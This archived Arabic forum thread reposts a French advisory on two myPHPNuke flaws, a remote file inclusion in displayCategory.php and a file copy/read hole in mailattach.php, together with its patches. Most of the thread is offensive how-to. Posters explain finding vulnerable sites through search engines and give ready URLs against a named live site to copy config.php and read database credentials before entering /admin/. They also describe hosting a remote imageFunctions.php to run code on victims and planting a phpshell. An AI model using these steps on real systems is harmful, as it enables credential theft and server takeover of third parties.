المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : ثغره جديده myPHPNuke


خالد7
03-10-2003, 10:03
myPHPNuke
*********
Developpement :
°°°°°°°°°°°°°°°
Langage : PHP بي اتش بي
Version : 1.8.8_7 اصدار
Website : http://www.myphpnuke.com
Problèmes : - Upload/Copie/Inclusions de fichiers


Developpement :
°°°°°°°°°°°°°°°
myPHPNuke est un CMS completement reconstitué mais, comme le dis son nom, basé sur PHP-Nuke.
Cette applic est touchée par deux failles importantes.
La première, une faille d'inclusion de fichiers, se touve dans le fichier gallery/displayCategory.php :
------------------------------------------
[...]
<?php

include ("$basepath/imageFunctions.php");
include ("$adminpath/fileFunctions.php");
------------------------------------------
En effet on peut voir que ni $basepath ni $adminpath ne sont définie dans le script. Il est donc possible
de les définir nous même. Ainsi, pour inclure le fichier http://sait.com/imageFunctions.php dans le fichier
http://www.sait.com/gallery/displayCategory.php, il suffira de se rendre à l'url :
http://www.sait.com/gallery/displayCategory.php?basepath=http://www.hothrd.com
Et pour y inclure le fichier http://www.saite.com/fileFunctions.php, de se rendre à l'url :
http://www.saite.com/gallery/displayCategory.php?adminpath=http://www.hothrd.com


La deuxième faille se trouve dans mailattach.php, qui, je le rappelle, a aussi posé beaucoup de problèmes au PHP-Nuke
officiel (et qui en pose encore à la date où j'écris ceci). Voici le code buggé :
-----------------------------------------------------
[...]
<?
OpenTable();
global $attachmentdir;

$attchfile = $attachmentdir.$attach1_name;

if(isset($submit) ) {
if ($attach1_name != "") {
copy("$attach1", $attchfile)
or die("Couldn't copy the file!");
echo "<script> attach();</script>";
} else {
die("No input file specified");
}
echo "<script> attach(); </script>";
} else {

?>
[...]
-----------------------------------------------------
Il faut d'abord savoir que la valeur de $attachmentdir, le dossier où est uploadé le fichier, a comme valeur '/attachments/'.
On voit dans ce code qui si $submit n'est pas vide, le fichier $attach1 est copié vers /attachments/$attach1_name.
Je rapelle que $attach1_name a une valeur attribuée à PHP, qui est le nom du fichier $attach1. Bien sûr si ça n'avait pas
été $attach1 mais $fichier1, la variable aurait été $fichier1_name.
Le gros problème c'est que cette variable peut aussi se voir attribuer une valeur par n'importe qui ! Cela implique
une faille. En effet, en plus de pouvoir uploader simplement un fichier depuis son disque dûr, on peut faires deux autres
choses. D'abord copier un fichier extérieur sur le disque dur du site web.
Par exemple, si on a le fichier http://www.saite.com/bad.txt contenant le code :
---------------
<?
echo "hop là";
?>
---------------
Et qu'on tape comme url chez la victime : http://www.saite.com/mailattach.php?submit=1&attach1=
http://www.hothrd.com/bad.txt&attach1_name=../bad.php
, le code PHP pourra être exécuté sur le serveur de cette victime à l'url http://www.saite.com/bad.php .
Mais on peut aussi se servir de cette faille pour lire des fichiers du disque dur de la victime.
Par exemple pour lire le fichier (créé à l'installation) admin/original/config.php, qui contient
toutes les infos de la DB, il suffira de taper une url du style :
http://www.saite.com/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=DBInfos.txt
et le fichier sera accessible à l'url http://www.saite.com/attachments/DBInfos.txt


Solutions :
°°°°°°°°°°°
Un patch est disponible sur http://www.phpsecure.info.
Dans gallery/displayCategory.php, il suffit d'ajouter au tout début les lignes :
-------------------------------------------------------------------
if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){
die("Patched.");
}
-------------------------------------------------------------------
Qui empêche à l'utilisateur de définir lui-même ces deux variables.

Dans mailattach.php, ajouter juste après :
-------------------------
[...]
<?
OpenTable();
global $attachmentdir;
[...]
-------------------------
les lignes :
-----------------------------------------------------------------------------------------------------------------------------------------------------------
if (isset($_REQUEST["attach1_type"]) OR isset($_REQUEST["attach1_name"]) OR ereg("/",$attach1) OR ereg("\.\.",$attach1) OR ereg(".php",$attach1_name) ){
die("Patched.");
}
-----------------------------------------------------------------------------------------------------------------------------------------------------------

Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : leseulfrog@hotmail.com
Website : http://www.phpsecure.info
Date : 10/09/03
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ

المهم

التطبيق + وبحث عشوائي ..تمام


أذهب إلى أي محرك بحث منثل جوجل
وأكتب
myPHPNuke

لنفترض ليقت الموقع هذا

http://www.neorangesiam.com

اكتب بعد الموقع
/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../D
BInfos.txt

ليضهر بهذا الشكل
http://www.neorangesiam.com/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../DBInfos.txt

وستجد ملف
config.php
قد تم نسخه هنا ....يعني سيضهر مكشوف ....يعني الان اليوزر والباسوورد مفتوح


تكتب بعد اسم الموقع /DBInfos.txt
وستجد اليوزر نيم والباسوورد :rolleyes:

وبعدها /admin/

وبعدها سلامتك

الأسير
03-10-2003, 07:36
شي حلو |4|

sNoOop HaCkEr
03-10-2003, 09:48
أخوي خالد7 مشكور كثير
بس كل ما جربها واضع الكود بعد الموقع
تجيلي صفحة فيها:
__________________________________________________ ___
Warning: copy(./attachments/../DBInfos.txt): failed to open stream: Permission denied in /home/clubsoli/public_html/main/mailattach.php on line 32
Couldn't copy the file!
__________________________________________________ ___

ايش الغلط وشو الحل.

تحــــــــــــياتي..

Linux-root
03-10-2003, 10:19
مشكوور اخوي خالد
ويعطيك الف العافيه والثغره تحت التيست (test )
:D

خالد7
04-10-2003, 05:39
الأسير من ذوقك

sNoOop HaCkEr
لا يستطيع ان ينسخ الملف ...يعني شوف غيره ولك تحياتي

ازعااااج (test )
;);););) ولك تحياتي

المد الاحمر
04-10-2003, 01:59
شكرا لك خالد 7

البـــــيسج
04-10-2003, 02:01
الله يسلمك صح لسااانك

ههههههههههه

لا هنت يالغالي


تحيات البــــيسج لك

خالد7
04-10-2003, 02:51
العفوا اخوي المد الاحمر

صح بدنك البـــــيسج
ولاانت يالغالي

شكرا لمروركم

ورود القبر
05-10-2003, 07:58
تدري دخت و دوخت جوجل معاي و ماحصلت مشكله هذه :cool:

خالد7
05-10-2003, 08:31
سبحان الله.: )

محمد السلمان
05-10-2003, 09:16
أبو خلود
السلام عليكم

يعني ذكرت بالخواجه شي خمسين سطر :eek:

وبعدين تقول المهم الثغرة كذا : :p
انسخ ملف config.php عن طريقة الـ mailattach.php .

وتراك يا خوي طحت على ثغرة مدمرة ولكن ليش ما تبي تشرح لنا ;)

يعني وش قصدك تذكر بس هذا الثغرة فقط مع وجود ثغرة أشنع منها .

بس تراني بأكشفك وأذكر الثغرة الشنيعه وهي :

إمكانية تشغيل أي كود php على جهاز الضحية .

خطوات العمل :
افتح موقع مجاني يدعم الـ PHP .
أنشأ ملف باسم imageFunctions.php
اكتب في الملف ما تشاء من الأكواد ولا بد أن تكون ذكي مثلي تراك بتواجه مطب |4|

وبعد الانتهاء من كتابة الكود، اذهب إلى موقع الضحية :
http://www.neorangesiam.com/index/gallery/displayCategory.php?basepath=http://www.xxxxxxx.com/

لا حظ أنه يوجد متغيير باسم basepath
قم بكتابة اسم موقعك بدون كتابة اسم أي ملف يعني كذا :
/basepath=http://www.xxxxxxx.com

وبعدين تفرج على الصفحة سيتم تنفيذ كودك على جهاز الضحية،

ومع السلامة :D

خالد7
05-10-2003, 03:26
اقتباس1
محمد السلمان
وبعدين تقول المهم الثغرة كذا : :p
انسخ ملف config.php عن طريقة الـ mailattach.php .

وتراك يا خوي طحت على ثغرة مدمرة ولكن ليش ما تبي تشرح لنا ;)
ــــــــــــــــــــــــــــــــــــــــــــــــــ ـــ
فيك الخير والبركه اشرحه يابو سلمان للشباب وهذا اللي انا حللته ولو ادري انها بطريقتك كان قلتها الثغره ..

شنو يعني اللي بيفرق اقصى نت وثغره .....ليش انا قايل رصيد حسابي :): )


اقتباس2
ــــــــــــــــــــــــــــــــــــــــــــــــــ ــــــــــــــــــــــ
يعني وش قصدك تذكر بس هذا الثغرة فقط مع وجود ثغرة أشنع منها .

بس تراني بأكشفك وأذكر الثغرة الشنيعه وهي :
ــــــــــــــــــــــــــــــــــــــــــــــــــ ــــــــــــــــــــ


ماشالله عليك عليك أكتشاف رهيب ...باين عليك مفتح ...الا قولي شلون كشفت الذره اقصد الثغره ..ماشالله عليك :)

ـــــــــــــــــــــــــــــــــــــــ
اقتباس3
ــــــــــــــــــــــــــــــــــــــــــــــــــ ـ
إمكانية تشغيل أي كود php على جهاز الضحية .

خطوات العمل :
افتح موقع مجاني يدعم الـ PHP .
أنشأ ملف باسم imageFunctions.php
اكتب في الملف ما تشاء من الأكواد ولا بد أن تكون ذكي مثلي تراك بتواجه مطب |4|

ــــــــــــــــــــــــــــــــــــــــــــــــــ ــــــــــــــ

باين عليك ذكي |1|:D
ــــــــــــــــــــــــــــــــــــــــــــــــــ ـــــــــــــــــــــــــــــــــــــ

وبعد الانتهاء من كتابة الكود، اذهب إلى موقع الضحية :
http://www.neorangesiam.com/index/gallery/displayCategory.php?basepath=http://www.xxxxxxx.com/

لا حظ أنه يوجد متغيير باسم basepath
قم بكتابة اسم موقعك بدون كتابة اسم أي ملف يعني كذا :
/basepath=http://www.xxxxxxx.com

وبعدين تفرج على الصفحة سيتم تنفيذ كودك على جهاز الضحية،

ومع السلامة

ــــــــــــــــــــــــــــــــــــــــــــــــــ ـــــــــــــــ

شنو هذا ....ينسخ بجاهز الضحيه وتتصفح...وذكي :rolleyes::rolleyes::rolleyes::rolleyes:

انا شايفه كذا ..اما طريقتك هذي اذا كانت هيه بالفعل فهذي طريقه مختصره واريح من الطريقه اللي قلتله بنضري انا

اسم الموقع

http://www.hothrd.com/

تكتب جني الموقع /mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=DBInfos.txt

وبعدين تكتب بجنب الموقع /DBInfos.txt

وراح تلاقي اليوزر والباسوورد

وانا مجربه ....

بس دام قلت طريقتك هذي خلاص الشباب يطبقون عليه احسن دام ان شرحي غلط

والى اللقاء

|4||4||4|

saso
05-10-2003, 08:11
مشكور والله يا اخ خالد7
انا كلي خالد7
والله ما يحرمنا منك
والله انته بس يلي فاهم الشباب يا خالد7
انته دمار يا خالد
ممكن اضيفني عندك في الايميل
زياده واحد عندك الله يكون بعونك
abu_haded200@hotmail.com

خالد7
06-10-2003, 06:13
طيرتي بالعجه:cool::rolleyes::rolleyes::rolleyes:....هلا هلا اخوي saso

شكرا على الرد الجميل
وتمت الاضافه ..
وشكرا لك

محمد السلمان
06-10-2003, 08:30
أخوي خالد السلام عليكم

تراك ما فهمت قصدي .
أنا أقصد ثغرة مدمرة ليس ثغرة سهلة ، وهناك فرق :D

وبعدين أتوقع أنك ما فهمت شرحي للثغرة .
وعلى العموم ترى الثغرة تم طرحها من قبل في هذا المنتدى عن طريق الأخ orort

وممكن الاطلاع على الرابط :
http://www.3asfh.com/vb/showthread.php?s=&threadid=4217&highlight=myPHPNuke

:D:D:D


وعلشانك بنشرح مرة ثانية

في البداية الثغرة قوية وتحتاج إلى برمجة كود php أو الاستفادة من أكواد جاهزة .
الثغرة تعتمد على ما يمسى بالـ Include Files .

وعندما تنظر إلى كود displayCategory.php تجد أمر الـ include وفيه :


include ("$basepath/imageFunctions.php");


والملاحظ هنا يوجد متغير basepath.
أي أن الكود يقوم بقراءة قيمته ويضعه في الـ include .
فلو وضعنا في قيمته عنوان موقعنا مثل :
http://[target]/gallery/displayCategory.php?basepath=http://[attacker]


لوجدنا أن ملف displayCategory.php سيقوم باستدعاء الملف المسمى بـ imageFunctions.php ولكن من موقعك الخاص وليس من موقع الضحية .

وبالتالي أي كود تقوم بإرساله إلى الضحية سيتنفذ ،
فمثلا انسخ ملف phpshell إلى جهاز الضحية ثم ابداء بالتصفح عن طريقك ملفك الجديد |4|

ولكن كيف تنسخ أي ملف إلى جهاز الضحية ;)
أتركه لك ... :confused:

وتحياتي لك وللأخوة

أخوك
محمد السمان

خالد7
06-10-2003, 10:40
والله ماادري انه كتبه

بس شوف اروت شنو قال فيها

ــــــــــــــــــــــــــــــــ

اقتباس
orort
:
°°°°°°°°°°°°
In french :
http://www.phpsecure.info/v2/tutos/myPHPNuke.txt




frog-m@n (http://www.phpsecure.info)--------------------------------------------------------------------------------


التطبيق لمن يريد المفيد

http://www.neorangesiam.com/index/m...=../DBInfos.txt


وستجد ملف
config.php
قد تم نسخه هنا
http://www.neorangesiam.com/index/DBInfos.txt

فيه اكثر من طريقه لكن هذا هو المختصر
ــــــــــــــــــــــــــــــــــــــــــــــــــ ـــــــــــــــ

في شبه ولا


وانت يامحمد ماشالله عليك وعيني عليك بارده اعطيتنا توضويح وصححت بعض الاخطاء اللي في الشرح بارك الله فيك وجزاك الله خير

مااوصيك ترى في بعض الثغرات صعب اترجمه ياليت اتكون معانا في شرحه او التوضيح في بعض النقاط

واكون شاكرلك وعزيز وغالي وحياك الله

محمد السلمان
06-10-2003, 10:55
أخي الغالي

أولا أشكرك وأقول لك جزيت ألف خير ، فلك فضل علي حيث أن مشاركتك في شرح إحدى الثغرات هي التي فتحت لي باب التفكير والتأمل في كيفية الاختراق .

تحياتي وسلامي لك بشكل خاص